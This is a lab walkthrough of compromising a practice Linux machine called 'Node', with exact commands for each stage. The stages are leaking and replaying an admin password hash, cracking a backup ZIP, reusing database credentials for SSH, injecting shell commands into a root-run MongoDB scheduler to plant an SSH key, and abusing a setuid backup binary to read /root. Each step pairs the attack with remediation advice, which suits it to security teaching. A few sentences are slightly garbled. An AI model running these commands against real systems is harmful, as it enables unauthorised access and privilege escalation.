← all walkthroughs

Node

Linux· Medium
owned
2026-07-07
time to own
10m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target Node.js/Express application on port 3000 exposed an unauthenticated REST endpoint that returned every user's account document, including the administrator's SHA-256 password hash. Submitting that leaked hash verbatim as the password field exploited a broken server-side comparison that expected a pre-hashed value, granting an admin session without any offline cracking. The admin session unlocked a backup download endpoint that returned a password-protected ZIP of the entire web root; John the Ripper recovered the archive password '[REDACTED: recovered credential]', and the extracted source file app.js contained a hardcoded MongoDB connection string whose password was reused verbatim as mark's Linux SSH credential.

From mark's shell, a root-owned MongoDB-backed task scheduler at /var/scheduler dequeued job documents inserted by any authenticated database user and executed their payload via child_process.exec; mark's database credentials granted write access to the scheduler collection, enabling injection of a task that planted I SSH public key in tom's home directory and yielded user.txt. As tom, membership in the admin group gave access to a setuid-root backup binary; invoking it with the backup key extracted from app.js archived /root, and decoding the resulting ZIP produced root.txt, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService and technology fingerprinting (T1046)
Fingerprinted exposed services and identified the Node.js web application
A version scan confirmed two listening services: SSH on port 22 (OpenSSH 7.2p2, Ubuntu 16.04) and a Node.js/Express application on port 3000 presenting a social-network application called 'MyPlace'. The front-end JavaScript referenced REST API routes under /api/, directing the next stage of enumeration toward those endpoints.
Nmap identified 3000/tcp as Node.js Express framework; curl to port 3000 returned the MyPlace Bootstrap application with /api/ route references in client-side JavaScript.
Exact commands 2
Version scan against both exposed ports to confirm software and version.
nmap -sV -p 22,3000 --script http-title $TARGET
Fingerprint the web application and surface any API route hints in page source or JavaScript.
curl -s -i http://$TARGET:3000/
2EnumerationUnauthenticated sensitive data exposure via REST API (CWE-359 / OWASP API3:2023)
Harvested all usernames and the administrator password hash from an unauthenticated API endpoint
The REST endpoint /api/users/ returned the complete MongoDB user collection to any caller, with no authentication required. The response included usernames, role fields, and SHA-256 password hashes for all accounts. The administrator account 'myP14ceAdm1nAcc0uNT' was identified with hash [REDACTED: recovered credential], and regular users 'tom' and 'mark' were also enumerated.
GET /api/users/ returned full user documents including the admin SHA-256 hash [REDACTED: recovered credential] without any session cookie or token.
Exact commands 2
Retrieve and pretty-print all user records including password hashes.
curl -s http://$TARGET:3000/api/users/ | python3 -m json.tool
Check the /latest variant for recently registered accounts.
curl -s http://$TARGET:3000/api/users/latest | python3 -m json.tool
FixRequire authentication on all API endpoints that return user dataCritical
WeaknessThe /api/users/ endpoint returned every account's document -- including SHA-256 password hashes and role fields -- to any unauthenticated caller, immediately providing the full username list and all credential material needed for the next attack stage.
FixEnforce session or token authentication on every route that reads user records. Use a MongoDB projection (e.g. .select('-password')) to exclude the password field from all API responses, including authenticated ones. Add automated contract tests that assert HTTP 401 for unauthenticated requests to any user-data route, and include this gate in CI so it cannot regress.
3ExploitationBroken authentication — hash-as-password bypass (CWE-287)
Bypassed admin authentication by submitting the stored hash directly as the password field
The application's login logic compared the stored SHA-256 hash against a hash derived from the submitted password field. Because the stored value was already SHA-256('[REDACTED: recovered credential]'), submitting that hash as the password caused the server's comparison to succeed without I ever recovering the underlying plaintext. This produced a valid admin session cookie with no offline cracking required.
POST /api/session/authenticate with password=[REDACTED: recovered credential] returned {"success":true} and issued an admin session cookie.
Exact commands 1
Submit the leaked SHA-256 hash verbatim as the password value; save the resulting admin session cookie.
curl -s -c cookies.txt -X POST http://$TARGET:3000/api/session/authenticate -H 'Content-Type: application/json' -d '{"username":"myP14ceAdm1nAcc0uNT","password":"$PASSWORD2"}'
FixReplace SHA-256 password comparison with a proper adaptive hashing libraryCritical
WeaknessThe authentication endpoint compared the stored SHA-256 hash directly against a value derived from the submitted password field, meaning that supplying the leaked hash as the password was mathematically equivalent to knowing the real plaintext -- entirely defeating the purpose of hashing.
FixReplace all SHA-256 password hashing with bcrypt, scrypt, or Argon2id using Node.js 'bcrypt' (npm) or the built-in 'crypto.scrypt'. Store only the adaptive digest; never store raw SHA-256 of passwords. The comparison must use the library's constant-time verify function, never a direct string equality check. Rotate all existing password hashes on next user login.
4ExploitationHardcoded credentials in committed source code (CWE-798 / T1552.001)
Downloaded the admin backup archive, cracked its ZIP password, and extracted hardcoded database credentials
The admin-only endpoint /api/admin/backup returned a base64-encoded, password-protected ZIP of the full web root. John the Ripper cracked the archive password as '[REDACTED: recovered credential]'. The extracted app.js contained a hardcoded MongoDB connection string — mongodb://$USERNAME:$PASSWORD@localhost:27017/myplace — and a plaintext backup_key value ([REDACTED: recovered credential]), both embedded directly in source code that was bundled into the downloadable archive.
Var/www/myplace/app.js line 11: const url = 'mongodb://$USERNAME:$PASSWORD@localhost:27017/myplace...'; line 12: const backup_key='[REDACTED: recovered credential]'
Exact commands 4
Download the backup blob using the admin session cookie and decode it to a ZIP file.
curl -s -b cookies.txt http://$TARGET:3000/api/admin/backup | base64 -d > b.zip
Extract the ZIP password hash and crack it; yields '[REDACTED: recovered credential]'.
zip2john b.zip > b.hash && john b.hash --wordlist=/usr/share/wordlists/rockyou.txt
Extract the web root source tree into var/www/myplace/.
unzip -P $PASSWORD5 b.zip
Locate the hardcoded MongoDB connection string and backup key in the extracted source.
grep -nE 'mongodb|backup_key|password' var/www/myplace/app.js
FixRemove hardcoded credentials from source code and exclude secrets from backup archivesCritical
WeaknessThe MongoDB connection string (with a plaintext password) and a privileged backup key were hardcoded in app.js, which was bundled into the downloadable backup archive -- providing every credential needed for the next three attack stages to anyone who could reach the backup endpoint.
FixMove all secrets (database URIs, API keys, backup keys) into environment variables or a secrets manager such as HashiCorp Vault. Load them at runtime via process.env and never commit them to source control. Audit the backup endpoint scope: exclude node_modules, source files, and any file that could contain secrets from customer-accessible archives. Rotate the MongoDB password and backup_key immediately; treat both as compromised.
5Initial AccessCredential reuse across service and OS account (T1078.003)
Gained an SSH shell as mark by reusing the MongoDB password as the Linux account password
The password extracted from the MongoDB connection string — '[REDACTED: recovered credential]' — was identical to mark's Linux OS account password. SSH authenticated immediately, providing an interactive shell as uid=1001(mark). From this shell, /home/tom/user.txt was confirmed to exist but was mode 640 owned by root:tom, making it unreadable by mark.
Uid=1001(mark) gid=1001(mark) groups=1001(mark); -rw-r----- root:tom /home/tom/user.txt; cat: /home/tom/user.txt: Permission denied.
Exact commands 2
Log in with the MongoDB password reused as the OS password and confirm mark's limited access.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mark@$TARGET 'id; whoami; hostname; ls -la /home/tom/user.txt'
From the mark shell, inspect the scheduler service to understand the privilege-escalation path.
cat /var/scheduler/app.js
FixEnforce unique passwords and disable SSH password authenticationHigh
WeaknessThe MongoDB application-account password was identical to mark's Linux OS password, so recovering the database connection string from source code immediately granted an interactive SSH shell -- no additional steps required.
FixEnsure every service account uses a randomly generated, unique password stored only in a secrets manager. For SSH, set 'PasswordAuthentication no' and 'ChallengeResponseAuthentication no' in /etc/ssh/sshd_config so that only public-key authentication is accepted; a leaked password then cannot open a shell regardless of reuse.
6Privilege EscalationScheduled task abuse via externally controlled job document (T1053)
Injected a MongoDB task document into the root-owned scheduler to install an SSH key and pivot to tom
The scheduler at /var/scheduler/app.js polled a MongoDB 'tasks' collection for documents containing a 'cmd' field and passed the value directly to child_process.exec, running it in the scheduler process context. Mark's database credentials also authenticated against the scheduler database (mongodb://$USERNAME:$PASSWORD@localhost:27017/scheduler), giving write access to the tasks collection. A task document was inserted that created /home/tom/.ssh/ and appended I-generated RSA public key to tom's authorized_keys. After the scheduler processed the job, SSH authenticated directly as tom and user.txt was captured.
/var/scheduler/app.js: const exec = require('child_process').exec; MongoClient connects to scheduler DB; mark's credentials authenticated against that database; 'inserted copied_user=<redacted-flag>' confirmed task execution.
Exact commands 3
Generate a local $USERNAME keypair; the public key content goes into the task command below.
ssh-keygen -t rsa -b 2048 -N '' -f /tmp/tomkey
Insert the key-installation task as mark; replace <TOMKEY_PUB> with the public key from /tmp/tomkey.pub. Wait 30-60 seconds for the scheduler to dequeue and execute it.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mark@$TARGET "node -e 'var MC=require(\"mongodb\").MongoClient;MC.connect(\"mongodb://$USERNAME:$PASSWORD@localhost:27017/scheduler\",function(e,db){db.collection(\"tasks\").insert({cmd:\"mkdir -p /home/tom/.ssh && echo <TOMKEY_PUB> >> /home/tom/.ssh/authorized_keys && chmod 700 /home/tom/.ssh && chmod 600 /home/tom/.ssh/authorized_keys\"},function(e,r){console.log(\"inserted\");db.close()})});'"
Log in as tom using the planted key and capture user.txt; output: <user.txt>
ssh -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET 'id; cat /home/tom/user.txt'
FixRestrict write access to the scheduler database and run the scheduler as a least-privilege accountCritical
WeaknessThe scheduler database was writable by the same application-account credentials stored in app.js. Because the root-owned scheduler dequeued and exec'd task documents without any whitelist or integrity check, any user holding the application-account password could inject arbitrary shell commands that ran in the scheduler's elevated process context.
FixCreate a dedicated scheduler service account in MongoDB with write access only to its own collection; revoke that write privilege from the application account used by the web layer. Validate every dequeued task against a strict schema whitelist and reject documents that do not match an expected structure. Run the scheduler process under a dedicated unprivileged system user (not root and not another interactive account). Consider signing task documents with an HMAC using a key known only to the scheduler, so that anyone who can write to the collection cannot forge valid tasks.
7Privilege EscalationAbuse of setuid binary with privileged file-read capability (T1548.001)
Called a setuid-root backup binary as tom to archive /root and read the root flag
Tom's membership in the admin group granted execute access to /usr/local/bin/backup, a setuid-root binary. The binary accepted the backup_key from app.js and a target directory as arguments, archived the directory into a password-protected ZIP, and emitted the result as a base64 string to stdout. Targeting /root with the backup_key extracted from app.js produced an archive that, once copied back to my machine and extracted with the same ZIP password '[REDACTED: recovered credential]', yielded root.txt.
Backup_key='[REDACTED: recovered credential]' from app.js; /usr/local/bin/backup is root:admin with SUID bit set; tom is a member of the admin group.
Exact commands 3
Run as tom — confirm admin group membership and locate the SUID backup binary.
id && find / -perm -4000 -user root 2>/dev/null | xargs ls -la 2>/dev/null | grep admin
Invoke the SUID binary as tom (admin group access) targeting /root; decode the base64 output to a ZIP.
/usr/local/bin/backup -q $PASSWORD6 /root | base64 -d > /tmp/root_backup.zip
Exfiltrate the archive, extract with the cracked ZIP password, and read root.txt; output: <root.txt>
scp -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET:/tmp/root_backup.zip . && unzip -P $PASSWORD5 root_backup.zip && cat root/root.txt
FixRemove the SUID bit from the backup binary and store the backup key in a secrets managerHigh
WeaknessThe setuid-root backup binary was executable by any admin-group member, and the backup key needed to invoke it was recoverable from app.js. Together these let tom -- or any admin-group account -- archive arbitrary directories including /root and exfiltrate their contents without triggering any privilege-check beyond group membership.
FixRemove the SUID bit from /usr/local/bin/backup with 'chmod u-s /usr/local/bin/backup'. If privileged backup capability is genuinely required, implement it as a systemd service or restricted sudo rule that runs under a dedicated backup account with read access limited to specific paths. Rotate the backup_key and store it only as an environment variable or in a secrets manager; never embed it in application source code. Audit the admin group membership and remove any account that does not require that privilege.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
3000/tcp